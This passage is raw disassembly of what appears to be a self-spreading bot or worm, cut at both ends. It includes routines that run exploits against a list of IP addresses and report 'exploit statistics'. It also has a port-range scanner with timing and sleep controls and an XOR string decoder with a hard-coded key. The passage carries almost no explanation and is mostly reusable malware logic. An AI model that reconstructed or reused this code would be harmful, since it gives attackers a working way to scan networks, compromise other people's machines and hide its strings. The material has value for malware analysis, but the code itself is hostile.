		mov	[ebp+var_488], eax


loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------


loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3


loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1


loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2


loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3


loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2


loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al


loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CFD8
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
		jmp	loc_413D21
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CF94
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax


loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, byte_41CD88[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	dword_41CDB2[eax]
		push	offset dword_41D05C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	dword_41CDB2[eax], 0


loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------


loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------


loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D108
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D0D0
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D0A0
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"


loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD


loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------


loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h


loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F


loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D138
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------


loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D1A8
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	dword_41709C	; Sleep


loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64	; clock
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0


loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487


loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------


loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597


loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D194
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------


loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
		fild	[ebp+var_2DC]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D158
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617


loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax


loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643


loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663


loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax


loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h


loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD


loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h


loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h


loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704


loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h


loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------


loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax


loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax


loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D1F0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax


loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax


loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
